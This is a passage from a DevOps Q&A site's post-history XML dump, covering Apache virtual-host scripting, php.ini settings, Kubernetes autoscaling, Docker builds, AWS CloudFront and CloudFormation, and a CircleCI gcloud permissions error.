  <row Id="17461" PostHistoryTypeId="5" PostId="5473" RevisionGUID="42470501-1a46-428c-b9e6-9d59d7b5b5f5" CreationDate="2018-11-20T08:37:29.237" UserDisplayName="user5176" Comment="added 65 characters in body" Text="When I create new web applications on my up-2-date Ubuntu-LAMP with Apache 2.4.x environment, I create their virtual-host files this way:&#xD;&#xA;&#xD;&#xA;    s_a=&quot;/etc/apache2/sites-available/&quot;&#xD;&#xA;    s_e=&quot;/etc/apache2/sites-enabled/&quot;&#xD;&#xA;    &#xD;&#xA;    read -p &quot;Have you created db credentials already?&quot; yn&#xD;&#xA;    case $yn in&#xD;&#xA;    	[Yy]* ) break;;&#xD;&#xA;    	[Nn]* ) exit;;&#xD;&#xA;    	* ) echo &quot;Please create db credentials in then comeback;&quot;;;&#xD;&#xA;    esac&#xD;&#xA;    &#xD;&#xA;    read -p &quot;Please enter the domain of your web application:&quot; domain_1 &amp;&amp; echo&#xD;&#xA;    read -p &quot;Please enter the domain of your web application again:&quot; domain_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$domain_1&quot; != &quot;$domain_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    read -sp &quot;Please enter the app DB root password:&quot; dbrootp_1 &amp;&amp; echo&#xD;&#xA;    read -sp &quot;Please enter the app DB root password again:&quot; dbrootp_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$dbrootp_1&quot; != &quot;$dbrootp_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    read -sp &quot;Please enter the app DB user password:&quot; dbuserp_1 &amp;&amp; echo&#xD;&#xA;    read -sp &quot;Please enter the app DB user password again:&quot; dbuserp_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$dbuserp_1&quot; != &quot;$dbuserp_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    cat &lt;&lt;-EOF &gt; &quot;$s_a/$domain_2.conf&quot;&#xD;&#xA;    	&lt;VirtualHost *:80&gt;&#xD;&#xA;    		ServerAdmin admin@&quot;$domain_2&quot;&#xD;&#xA;    		ServerName ${domain_2}&#xD;&#xA;    		ServerAlias www.${domain_2}&#xD;&#xA;    		DocumentRoot /var/www/html/${domain_2}&#xD;&#xA;    		ErrorLog ${APACHE_LOG_DIR}/error.log&#xD;&#xA;    		CustomLog ${APACHE_LOG_DIR}/access.log combined&#xD;&#xA;    	&lt;/VirtualHost&gt;&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;    ln -sf &quot;$s_a&quot;/&quot;$domain_2&quot;.conf &quot;$s_e&quot;&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is there a way to automate that / shorten the amount of lines code (the actual script-file is much bigger in principle), maybe even from some built-in behavior in Apache itself and without involving further software?&#xD;&#xA;&#xD;&#xA;If other software might be needed than from what I've read so far it should be Docker and I should look for an Apache-virtual host **docker script** that will be based on my variable declarations (in [dockerhub][1]) which I will then run with a `docker` command, but maybe Apache itself will have automation functionality for this or there is some third solution the answer's my need?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17462" PostHistoryTypeId="2" PostId="5487" RevisionGUID="98a96785-07fd-45a9-a979-e66828782ee3" CreationDate="2018-11-20T09:14:31.030" UserDisplayName="user5176" Text="Is there a `php` (or `composer`) terminal command to change the `php.ini` variables `upload_max_filesize` and `post_max_size from terminal` to some value directly from terminal, without `sed` or `awk` operations?&#xD;&#xA;&#xD;&#xA;The reason; having a more a version-agnostic and more backward-compatible directive in my server-environment-establishment script, to change the values of these two variables." ContentLicense="CC BY-SA 4.0" />
  <row Id="17463" PostHistoryTypeId="1" PostId="5487" RevisionGUID="98a96785-07fd-45a9-a979-e66828782ee3" CreationDate="2018-11-20T09:14:31.030" UserDisplayName="user5176" Text="Is there a php (or composer) command to change upload_max_filesize &amp;&amp; post_max_size from terminal?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17464" PostHistoryTypeId="3" PostId="5487" RevisionGUID="98a96785-07fd-45a9-a979-e66828782ee3" CreationDate="2018-11-20T09:14:31.030" UserDisplayName="user5176" Text="&lt;configuration-management&gt;&lt;php&gt;&lt;shell-script&gt;&lt;environment-variables&gt;&lt;composer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17475" PostHistoryTypeId="5" PostId="5422" RevisionGUID="4965a16a-d240-4a69-a5ed-9c5f8f35dfb9" CreationDate="2018-11-20T16:29:05.793" UserId="6" Comment="add links to mentioned tools" Text="Anyone knows if there is a solution to provision (non-managed) autoscaling Kubernetes clusters in the cloud?&#xD;&#xA;&#xD;&#xA;I am looking for a generic solution that will work in any public cloud and in private data centers.&#xD;&#xA;&#xD;&#xA;After quite a bit of research, the known available options do not answer the requirement above -&#xD;&#xA;&#xD;&#xA;- [`kops`](https://github.com/kubernetes/kops) which is AWS specific is using own AMI images.&#xD;&#xA;&#xD;&#xA;- [`kubespray`](https://github.com/kubernetes-incubator/kubespray) (aka kargo) has no notion of autoscaling, executes Ansible on a specific inventory of hosts.&#xD;&#xA;&#xD;&#xA;- [`kubeadm`](https://github.com/kubernetes/kubeadm) expects a known list of hosts and does not take care of OS setup like docker, kubelet, etc...&#xD;&#xA;&#xD;&#xA;- [`kubernetes autoscaler`](https://github.com/kubernetes/autoscaler) controls existing auto scaling groups, does not prepare the images used by those groups.&#xD;&#xA;&#xD;&#xA;Is there some generic solution to make an autoscaling group deploy Kubernetes cluster on itself? Possibly a way to build cloud images (like AMI in AWS) using Packer for this.&#xD;&#xA;&#xD;&#xA;Looking for a method that is not specific to one public cloud and allows to use an elastic environment that scales automatically based on prepared images." ContentLicense="CC BY-SA 4.0" />
  <row Id="17476" PostHistoryTypeId="2" PostId="5490" RevisionGUID="9b322c8f-65e3-43ec-b144-3fd33efd08f5" CreationDate="2018-11-20T17:20:03.050" UserId="10961" Text="There is a tool called [Skopeo][1] which can retrieve Docker images from a repository and save them in several formats.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA; 1. Download the image and save the layers as a tarball:&#xD;&#xA;    `skopeo copy docker://ubuntu docker-archive:/tmp/ubuntu.tar:ubuntu`&#xD;&#xA;&#xD;&#xA; 2. Transfer `/tmp/ubuntu.tar` to another machine if desired.&#xD;&#xA;&#xD;&#xA; 3. Load the image on a Docker instance which does not have internet connection:&#xD;&#xA;    `docker load --input /tmp/ubuntu.tar`&#xD;&#xA;&#xD;&#xA;It is available in CentOS 7 repo with the package name `skopeo`. There are no Debian or Ubuntu packages at this time (but it is easy to compile).&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/containers/skopeo" ContentLicense="CC BY-SA 4.0" />
  <row Id="17477" PostHistoryTypeId="50" PostId="4157" RevisionGUID="14bb2788-86f8-47a7-a797-4fa9b88707c7" CreationDate="2018-11-20T19:02:25.443" UserId="-1" />
  <row Id="17478" PostHistoryTypeId="2" PostId="5491" RevisionGUID="3f66b11d-aa23-4650-b65b-96646c625f43" CreationDate="2018-11-20T20:58:03.333" UserId="960" Text="&gt; The reason; having a more a version-agnostic and more&#xD;&#xA;&gt; backward-compatible directive in my server-environment-establishment&#xD;&#xA;&gt; script, to change the values of these two variables.&#xD;&#xA;&#xD;&#xA;If you're trying to configure a server, you should use a configuration management system (Ansible, Puppet, Chef, Salt) or bake images for immutable infrastructure; trying to hack in pieces of configuration via PHP or bash or whatever will just make you unhappy." ContentLicense="CC BY-SA 4.0" />
  <row Id="17479" PostHistoryTypeId="2" PostId="5492" RevisionGUID="624b0255-bfad-4f95-b416-8e99c6929544" CreationDate="2018-11-20T21:58:25.507" UserId="497" Text="[Sparrow](https://github.com/melezhik/sparrow) makes scripts deployment and distribution simple and super flexible. It is kinda language agnostic system, meaning you can write scripts on _many_ languages, Python is included. There is a [nice introduction](https://dev.to/melezhik/distributing-portable-scripts-with-sparrow-8f4) on script distribution with Sparrow.&#xD;&#xA;&#xD;&#xA;The only hurdle with your case you will have to adjust existed scripts so that they could be packaged, it's pretty straightforward process though. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17480" PostHistoryTypeId="2" PostId="5493" RevisionGUID="ea982dc1-d024-466c-bc19-6e3898086ca4" CreationDate="2018-11-20T22:49:51.573" UserId="10969" Text="What I would suggest, like comments under your post, is to take this to the #inspec channel on the Chef Community Slack to ask there. That said, here's how I might attack this:&#xD;&#xA;&#xD;&#xA;    control 'some-control-slug' do&#xD;&#xA;      title 'My control'&#xD;&#xA;      impact 1.0&#xD;&#xA;      desc 'Example code for Stack Exchange'&#xD;&#xA;&#xD;&#xA;      if os.windows? &amp;&amp; ::Gem::Version.new(os.release) &lt; ::Gem::Version.new('6.1')&#xD;&#xA;        # Only executed on Windows machines older than 2008r2&#xD;&#xA;        describe directory('C:/Users') do&#xD;&#xA;          it { should exist }&#xD;&#xA;        end&#xD;&#xA;&#xD;&#xA;      elsif os.windows? &amp;&amp; ::Gem::Version.new(os.release) &gt;= ::Gem::Version.new('10')&#xD;&#xA;        # Only executed on Windows Server 2016 or newer&#xD;&#xA;        describe directory('D:/MyFolder') do&#xD;&#xA;          it { should_not exist }&#xD;&#xA;        end&#xD;&#xA;&#xD;&#xA;      end&#xD;&#xA;&#xD;&#xA;      # Executed on all host types&#xD;&#xA;      describe sys_info do&#xD;&#xA;        its('hostname') { should match(/SomeAwesomeHost/i) }&#xD;&#xA;      end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Additionally, you can limit the entire inspec control with Chef-like hooks, such as `only_if`. The above example code, as written, may execute on a Linux target. We could limit all of them by placing the following up near the `desc` or `title`:&#xD;&#xA;&#xD;&#xA;    only_if { os.windows? }" ContentLicense="CC BY-SA 4.0" />
  <row Id="17499" PostHistoryTypeId="2" PostId="5498" RevisionGUID="f40e894c-b966-4000-8611-1393671301b4" CreationDate="2018-11-21T08:15:13.017" UserId="4613" Text="Is there a way (say by providing a Route53 endpoint as origin) to distribute non-AWS hosted content using CloudFront?&#xD;&#xA;&#xD;&#xA;(assuming the Route53 is used as dns for a site hosted outside of amazon)" ContentLicense="CC BY-SA 4.0" />
  <row Id="17500" PostHistoryTypeId="1" PostId="5498" RevisionGUID="f40e894c-b966-4000-8611-1393671301b4" CreationDate="2018-11-21T08:15:13.017" UserId="4613" Text="AWS: Using CloudFront as CDN for non-AWS hosted content" ContentLicense="CC BY-SA 4.0" />
  <row Id="17501" PostHistoryTypeId="3" PostId="5498" RevisionGUID="f40e894c-b966-4000-8611-1393671301b4" CreationDate="2018-11-21T08:15:13.017" UserId="4613" Text="&lt;amazon-web-services&gt;&lt;amazon-cloudfront&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17502" PostHistoryTypeId="50" PostId="3421" RevisionGUID="280e51d4-df7c-483f-9619-5ced81da6297" CreationDate="2018-11-21T09:01:40.317" UserId="-1" />
  <row Id="17504" PostHistoryTypeId="50" PostId="4795" RevisionGUID="cb225b96-2f03-43d1-b1da-e33a232a64a5" CreationDate="2018-11-21T10:03:25.807" UserId="-1" />
  <row Id="17509" PostHistoryTypeId="2" PostId="5500" RevisionGUID="b8662351-865c-476a-9e15-8d30adff7ef5" CreationDate="2018-11-21T11:16:18.137" UserId="6060" Text="**CloudFormation** is service that allows you to create your infrastructure from code to automate your deployments.&#xD;&#xA;&#xD;&#xA;You can set up a rule to run an AWS Lambda function on a schedule by using **CloudWatch event**. &#xD;&#xA;[https://docs.aws.amazon.com/AmazonCloudWatch/latest/events/RunLambdaSchedule.html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonCloudWatch/latest/events/RunLambdaSchedule.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17510" PostHistoryTypeId="50" PostId="5029" RevisionGUID="f66286f2-390a-44fd-8025-58aca751f316" CreationDate="2018-11-21T13:03:25.693" UserId="-1" />
  <row Id="17518" PostHistoryTypeId="2" PostId="5503" RevisionGUID="7935f6a7-f4a0-487e-ab3c-30ab67fdd8eb" CreationDate="2018-11-21T14:15:01.940" UserId="405" Text="CloudFront doesn't care where your origin server is hosted or even who you use for DNS.  As long as the [Origin Domain Name](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/distribution-web-values-specify.html#DownloadDistValuesDomainName) you provide is resolvable from the Internet (and has valid SSL configuration, if enabled), CloudFront will fetch the content from that origin the same as it will fetch it from anywhere inside AWS." ContentLicense="CC BY-SA 4.0" />
  <row Id="17522" PostHistoryTypeId="50" PostId="4800" RevisionGUID="03623145-a7fe-4e40-9e5f-b652f3f18ea0" CreationDate="2018-11-21T15:02:50.523" UserId="-1" />
  <row Id="17523" PostHistoryTypeId="50" PostId="3715" RevisionGUID="1b6c9f92-406a-460f-a4e7-2019c962057e" CreationDate="2018-11-21T16:03:05.620" UserId="-1" />
  <row Id="17524" PostHistoryTypeId="2" PostId="5505" RevisionGUID="b9569501-0ab5-4617-921e-ab4210cc2631" CreationDate="2018-11-21T16:47:38.257" UserId="4613" Text="I am creating a CF stack;&#xD;&#xA;&#xD;&#xA;I have been using the `--notification-arns` flag of `aws cloudformaction create-stack` to send notifications to an email topic; however this produces a huge amount of spam, given that it records __every__ `X_IN_PROGRESS` __and__ `X_COMPLETE`, where `X=CREATE/DELETE` for __every__ resource on the stack;&#xD;&#xA;&#xD;&#xA;I just want to get notifications for the __stack__ `CREATE/DELETE` events.&#xD;&#xA;&#xD;&#xA;Is this possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17525" PostHistoryTypeId="1" PostId="5505" RevisionGUID="b9569501-0ab5-4617-921e-ab4210cc2631" CreationDate="2018-11-21T16:47:38.257" UserId="4613" Text="AWS Cloudformation: Callback only for CREATE_COMPLETE or CREATE_FAILED of entire stack" ContentLicense="CC BY-SA 4.0" />
  <row Id="17526" PostHistoryTypeId="3" PostId="5505" RevisionGUID="b9569501-0ab5-4617-921e-ab4210cc2631" CreationDate="2018-11-21T16:47:38.257" UserId="4613" Text="&lt;amazon-web-services&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17527" PostHistoryTypeId="50" PostId="3722" RevisionGUID="88d61669-bd9d-4c6e-827a-3390f3f331d6" CreationDate="2018-11-21T20:02:45.530" UserId="-1" />
  <row Id="17529" PostHistoryTypeId="2" PostId="5507" RevisionGUID="bdd98104-5288-4e05-a669-c2f802bbd278" CreationDate="2018-11-21T20:51:44.170" UserId="10994" Text="I've heard both terms but can't differentiate between the two. Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="17530" PostHistoryTypeId="1" PostId="5507" RevisionGUID="bdd98104-5288-4e05-a669-c2f802bbd278" CreationDate="2018-11-21T20:51:44.170" UserId="10994" Text="What's the difference between &quot;Ops Dev&quot; and DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17531" PostHistoryTypeId="3" PostId="5507" RevisionGUID="bdd98104-5288-4e05-a669-c2f802bbd278" CreationDate="2018-11-21T20:51:44.170" UserId="10994" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17533" PostHistoryTypeId="2" PostId="5509" RevisionGUID="86fb2497-d274-4b0d-9c64-7df5ce3e3552" CreationDate="2018-11-21T21:25:15.903" UserId="10992" Text="*In the operations team **DevOps** does not trust developers to make changes to the production infrastructure*. Developers want to focus on their application and the value it delivers to the organization. Developers want to know the characteristics of the infrastructure but do not want to build it or operate it.&#xD;&#xA;&#xD;&#xA;The operations team is absolutely critical to the success of DevOps methodologies. &#xD;&#xA;&#xD;&#xA;The developers must be able to trust that the infrastructure has specific characteristics: characteristics like performance, connectivity, availability, and uniformity. &#xD;&#xA;&#xD;&#xA;To enable this trust, I believe that the operations teams are going to need to become more like developers. I call this **OpsDev**.&#xD;&#xA;&#xD;&#xA;**OpsDev is not simply about having a scripted build for servers. OpsDev is about having a full infrastructure that is built and maintained automatically from a set of source-controlled configuration files, and then having development and test environments that are built using the same methodology.**&#xD;&#xA;&#xD;&#xA;Source: https://www.astroarch.com/tvp_strategy/devops-requires-opsdev-time-change-35139/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17534" PostHistoryTypeId="2" PostId="5510" RevisionGUID="630a0c61-2221-420c-98a5-14838fe9d6e0" CreationDate="2018-11-21T21:37:35.750" UserId="960" Text="I've never seen ops dev used before this post.  Searching around I see things like [this article that has it in the title but nowhere in the article](https://dzone.com/articles/opsdev-or-devops).  Then there's [this article](https://devops.com/devops-must-also-mean-opsdev/) from 2015:&#xD;&#xA;&#xD;&#xA;&gt; So in this way, when “OpsDev” happens, IT ops teams are helping developers do their jobs, but developers are also architecting applications with IT ops in mind, helping them utilize resources better. The days of developers simply creating applications and “throwing them over the fence” to testers and IT ops teams are over.&#xD;&#xA;&#xD;&#xA;which seems to define OpsDev as &quot;development in a company that practices DevOps&quot; (or more cynically, &quot;development done correctly&quot;).&#xD;&#xA;&#xD;&#xA;Finally, there's https://dzone.com/articles/opsdev-is-coming :&#xD;&#xA;&#xD;&#xA;&gt; What Is OpsDev?&#xD;&#xA;&gt; OpsDev means that the dependencies of the various application components must be understood and modeled first before the development process begins. In addition, the consideration for infrastructure stability, environment modeling, security and audit/compliance measures are first and foremost. Application components are stubs and they do not need to be in their final forms. Secondly, the environments in which the components will be deployed for production must be modeled. Thirdly, the processes to deploy the various components to the target environments must be automated as much as possible.&#xD;&#xA;&#xD;&#xA;Again, this sounds to me just like normal, modern development.&#xD;&#xA;&#xD;&#xA;DevOps is a problematic term because [it has many different definitions](https://devops.stackexchange.com/q/788/960).  OpsDev, on the other hand, appears to have essentially *no* definitions.  From a personal perspective, I would mentally substitute &quot;development&quot; for every instance of &quot;OpsDev&quot; and ignore the term; it appears to be just another instance of people inventing new terminology to describe old concepts so that they sound more exciting." ContentLicense="CC BY-SA 4.0" />
  <row Id="17535" PostHistoryTypeId="5" PostId="3715" RevisionGUID="8f1344a2-6137-47dd-84ac-ca13465225fa" CreationDate="2018-11-21T21:40:50.517" UserId="960" Comment="minor copy-editing" Text="I'm completely new to Docker and Django and I'm having trouble getting my Docker app to serve inside Django. Currently, I'm running my docker container with this command:&#xD;&#xA;&#xD;&#xA;    docker run -it --name web -p 8000:8000 --link mysql:db -v ~/directory:/app django&#xD;&#xA;&#xD;&#xA;where `mysql` and `django` refer to containers defined earlier.&#xD;&#xA;&#xD;&#xA;Next, I'm using `manage.py` to make migrations and migrate, then serving with the following command:&#xD;&#xA;&#xD;&#xA;    mod_wsgi-express start-server --reload-on-changes --working-directory /app/voting_project /app/voting_project/voting_project/wsgi.py &amp;&#xD;&#xA;&#xD;&#xA;When I visit `localhost:8000` in my browser, it successfully renders the HTML template, but the CSS and images which I see locally are missing.&#xD;&#xA;&#xD;&#xA;The following errors are logged in the console:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I've played with the structure of my directories a bit, but I can't seem to get the browser to find anything in `localhost:8000/static` or `localhost:8000/images`.&#xD;&#xA;&#xD;&#xA;I'm assuming 8000 is mapping to somewhere weird in my local directories, but I realize this could also be caused by a number of other things. Please let me know if I'm making any obvious mistakes.&#xD;&#xA;&#xD;&#xA;Thanks so much!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/kHAoq.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="17536" PostHistoryTypeId="2" PostId="5511" RevisionGUID="2b6e7410-7de3-4dbb-84f4-60aa69546de3" CreationDate="2018-11-21T22:09:44.937" UserId="960" Text="This has already been covered a bit in the comments, but I figured I'd lay out a more extensive answer.&#xD;&#xA;&#xD;&#xA;&gt; Is there a way to automate that / shorten the amount of lines code (the actual script-file is much bigger in principle), maybe even from some built-in behavior in Apache itself and without involving further software?&#xD;&#xA;&#xD;&#xA;You can use [`a2ensite`](http://manpages.ubuntu.com/manpages/precise/man8/a2ensite.8.html) as a replacement for your very last line, the `ln`; all it does is set up symlinks into `/etc/apache2/sites-enabled`, which is where Apache httpd looks by default for configuration.  Some details may vary by distribution.&#xD;&#xA;&#xD;&#xA;However, this only changes your script a tiny bit.  There are much larger problems you have to address.&#xD;&#xA;&#xD;&#xA;First, I'll mention that no, Docker is almost certainly not the solution you want.  Docker works best when used in a container orchestration layer like Kubernetes, and while I can easily imagine an architecture with a single Docker image that takes in parameters to create different vhosts, it's a much more complicated system than your presumably one-host system and requires substantial changes to how everything works.  Docker is a hip new thing, but what many people do not realize is that it solves a set of well-understood problems and creates a set of new, poorly-understood ones, and it's likely that you don't have the problems that such an architecture would solve.  So let's set that aside for now.&#xD;&#xA;&#xD;&#xA;The first problem you have is that you're writing Apache configuration (primarily) by hand, with templating in bash and limited validation.  In reality in your example this isn't a big deal since it's a small and simple config, but it's easy to start this way and end up with a large block of `sed` and `ed` commands (this I know from experience).&#xD;&#xA;&#xD;&#xA;The larger problem is in how ephemeral your changes are.  You configure all these vhosts, great.  Then your server dies.  What happens?  You're probably going to spend a lot of time trying to rebuild it.  Hopefully you have a recent backup to help, but the point here is that the last few decades we've settled into this idea of treating [configuration the same way as code](https://en.wikipedia.org/wiki/Infrastructure_as_code) - rather than setting things up by hand, you write all of your configuration into text files and a program translates that into configuration on the server.  This has a multitude of benefits, including backups, code review, and a history of changes that you can look back on.  Most configuration management tools also provide convenient abstraction layers.  [Here](https://www.jeffgeerling.com/blog/apache-virtualhosts-with-ansible-and-jinja2) is an example that lays out how to translate an Apache vhost file into an Ansible template, and then you only need to add new entries to the variable list and rerun the configuration.  When it comes to things like your database passwords, those too can be stored and version-controlled in [Ansible Vault](https://docs.ansible.com/ansible/2.5/user_guide/vault.html) or a similar product." ContentLicense="CC BY-SA 4.0" />
  <row Id="17537" PostHistoryTypeId="5" PostId="1690" RevisionGUID="15a273b6-b4a4-4a40-b7cd-2c66d1f599ce" CreationDate="2018-11-21T22:20:22.943" UserId="960" Comment="minor copy-editing" Text="I have a lot of python scripts which I release to a python virtual environment on a remote machine. The virtual environment is rarely updated. The scripts are pulled from a git repository and a makefile is used to deploy them into the virtual environment directory.&#xD;&#xA;&#xD;&#xA;My question: is there a more normal way to deploy the scripts?&#xD;&#xA;&#xD;&#xA;I would like a process that at least remembers which files were deployed for cleanup upon the next release. I've read a bit on pip packaging, but I'm not sure if it fits our setup. The scripts need to be in a common location where they can be called by other applications. The OS is SUSE Linux." ContentLicense="CC BY-SA 4.0" />
  <row Id="17538" PostHistoryTypeId="5" PostId="5461" RevisionGUID="433ac439-49e0-464b-852d-dcd9d3a058a0" CreationDate="2018-11-21T22:27:30.547" UserId="960" Comment="edited body; edited title" Text="I am dockerizing our applications to have the environments recreatable. As a process of dockerizing, we will be required to do the below steps:&#xD;&#xA;&#xD;&#xA; - Build the application.&#xD;&#xA; - Prepare the environment as the container.&#xD;&#xA; - Deploy the application to the container.&#xD;&#xA;&#xD;&#xA;Is it fine to have the application build, inside the docker, as part of docker building? In that way we need not install the build dependencies in local.&#xD;&#xA;&#xD;&#xA;But the trade-off is, we have to build the complete docker for the even a small code change that we build. I understand this can be optimized to a level with [multi-staged][1] build. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/multistage-build/#use-an-external-image-as-a-stage" ContentLicense="CC BY-SA 4.0" />
  <row Id="17539" PostHistoryTypeId="4" PostId="5461" RevisionGUID="433ac439-49e0-464b-852d-dcd9d3a058a0" CreationDate="2018-11-21T22:27:30.547" UserId="960" Comment="edited body; edited title" Text="Should we build our application inside a docker container, or copy it in?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17540" PostHistoryTypeId="5" PostId="5464" RevisionGUID="85f51304-05e7-4d3d-8733-2de1bde274e8" CreationDate="2018-11-21T22:30:51.980" UserId="707" Comment="added 43 characters in body" Text="The essential feature of JFrog Enterprise over JFrog Pro (X) is that it introduces high availability and site replication support.&#xD;&#xA;&#xD;&#xA;Obviously, operations in geographically distributed organizations with thousands developers and build processes require some planning also for this aspect.&#xD;&#xA;&#xD;&#xA;Nevertheless, is there any data/study to show order of magnitude of load where you would say okay this is where we need not just some vertical scaling but parallel? - Say using some reference hardware setup." ContentLicense="CC BY-SA 4.0" />
  <row Id="17541" PostHistoryTypeId="2" PostId="5512" RevisionGUID="51cf6862-be10-4e9c-9b00-9dcdd4f0cb63" CreationDate="2018-11-21T22:32:36.770" UserId="960" Text="&gt; But the trade-off is, we have to build the complete docker for the even a small code change that we build.&#xD;&#xA;&#xD;&#xA;No, not usually.  Generally in your Dockerfile the application build process will be after all of the system configuration (installing libraries and such), and so Docker will reuse cached layers for those.&#xD;&#xA;&#xD;&#xA;If your concern is that you'll have to rebuild the entire application each time, rather than use some sort of build object caching in your build system, then yes, that does happen.  In development you can often mitigate this by using live-reload auto-rebuild systems that watch the filesystem for changes, combined with a Docker directory mount of the code from the local development machine.  This way when a developer saves a file, the changes are propagated to the running container, where the autobuild notices and rebuilds and restarts the application.&#xD;&#xA;&#xD;&#xA;The other thing you should be careful of are bloated images.  If you install a bunch of development tools in the container, then even if you uninstall them later in the Dockerfile, the resultant image will include layers with them, which can increase the overall size of the image." ContentLicense="CC BY-SA 4.0" />
  <row Id="17542" PostHistoryTypeId="2" PostId="5513" RevisionGUID="3e6972fe-1bca-4a7b-85a5-ecb29024c7df" CreationDate="2018-11-21T22:50:18.217" UserId="10997" Text="I am trying to integrate CircleCi with gcloud Kubernetes engine.&#xD;&#xA;&#xD;&#xA; 1. I created a service account with Kubernetes Engine Developer and Storage Admin roles.&#xD;&#xA; 2. Created CircleCi yaml file and configured CI.&#xD;&#xA;&#xD;&#xA;Part of my yaml file includes:&#xD;&#xA;&#xD;&#xA;    docker:&#xD;&#xA;                - image: google/cloud-sdk&#xD;&#xA;            environment:&#xD;&#xA;                - PROJECT_NAME: 'my-project'&#xD;&#xA;                - GOOGLE_PROJECT_ID: 'my-project-112233'&#xD;&#xA;                - GOOGLE_COMPUTE_ZONE: 'us-central1-a'&#xD;&#xA;                - GOOGLE_CLUSTER_NAME: 'my-project-bed'&#xD;&#xA;            steps:&#xD;&#xA;                - checkout&#xD;&#xA;                - run:&#xD;&#xA;                      name: Setup Google Cloud SDK&#xD;&#xA;                      command: |&#xD;&#xA;                          apt-get install -qq -y gettext&#xD;&#xA;                          echo $GCLOUD_SERVICE_KEY &gt; ${HOME}/gcloud-service-key.json&#xD;&#xA;                          gcloud auth activate-service-account --key-file=${HOME}/gcloud-service-key.json&#xD;&#xA;                          gcloud --quiet config set project ${GOOGLE_PROJECT_ID}&#xD;&#xA;                          gcloud --quiet config set compute/zone ${GOOGLE_COMPUTE_ZONE}&#xD;&#xA;                          gcloud --quiet container clusters get-credentials ${GOOGLE_CLUSTER_NAME}&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;Everything runs perfectly except that the last command:&#xD;&#xA;&#xD;&#xA;    gcloud --quiet container clusters get-credentials ${GOOGLE_CLUSTER_NAME}&#xD;&#xA;&#xD;&#xA;It keeps failing with the error:&#xD;&#xA;&#xD;&#xA;    ERROR: (gcloud.container.clusters.get-credentials) ResponseError: code=403, message=Required &quot;container.clusters.get&quot; permission(s) for &quot;projects/my-project-112233/zones/us-central1-a/clusters/my-project-bed&quot;. See https://cloud.google.com/kubernetes-engine/docs/troubleshooting#gke_service_account_deleted for more info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I tried to give the ci account the role of project owner but I still got that error.&#xD;&#xA;&#xD;&#xA;I tried to disable and re-enable the Kubernetes Service but it didn't help.&#xD;&#xA;&#xD;&#xA;Any idea how to solve this? I am trying to solve it for 4 days..." ContentLicense="CC BY-SA 4.0" />
  <row Id="17543" PostHistoryTypeId="1" PostId="5513" RevisionGUID="3e6972fe-1bca-4a7b-85a5-ecb29024c7df" CreationDate="2018-11-21T22:50:18.217" UserId="10997" Text="Keep getting permissions error gcloud.container.clusters.get-credentials" ContentLicense="CC BY-SA 4.0" />
  <row Id="17544" PostHistoryTypeId="3" PostId="5513" RevisionGUID="3e6972fe-1bca-4a7b-85a5-ecb29024c7df" CreationDate="2018-11-21T22:50:18.217" UserId="10997" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17545" PostHistoryTypeId="2" PostId="5514" RevisionGUID="1b904ca3-c7bc-4245-819f-22e0fb61a26b" CreationDate="2018-11-21T22:50:47.387" UserId="960" Text="There's no generic answer to this, but a ton of options.  Usually the right choice for you would be dependent on what monitoring and alerting stack you're already using.&#xD;&#xA;&#xD;&#xA;For instance, if you are using Graphite, Prometheus, rrdtool, or any other round-robin database to record a metric when you're sending out emails, those all have APIs that allow you to query them across a time range to see what the values were.  And depending on what alerting system you're using (Nagios, Icinga, Sensu, etc.) there is probably already a plugin that allows you to easily interact with that particular metrics database.&#xD;&#xA;&#xD;&#xA;From another perspective, if you're logging when you send emails, then a log system like ELK will allow you to search and see if any of those log lines are found.  Again, the various alerting systems will have plugins to most common log systems.  (There are also individual systems designed purely for those tools, like [ElastAlert](https://elastalert.readthedocs.io/en/latest/index.html) with its flatline type for ELK.)&#xD;&#xA;&#xD;&#xA;Thirdly, you could approach it the way that you are, by checking in with customer.io's API on a regular basis.  But no, there is not one standard tool for doing this, but rather one (or at least one!) per alerting system.&#xD;&#xA;&#xD;&#xA;Finally, you might consider doing **synthetic checks** instead of or in addition to your real-user monitoring.  This 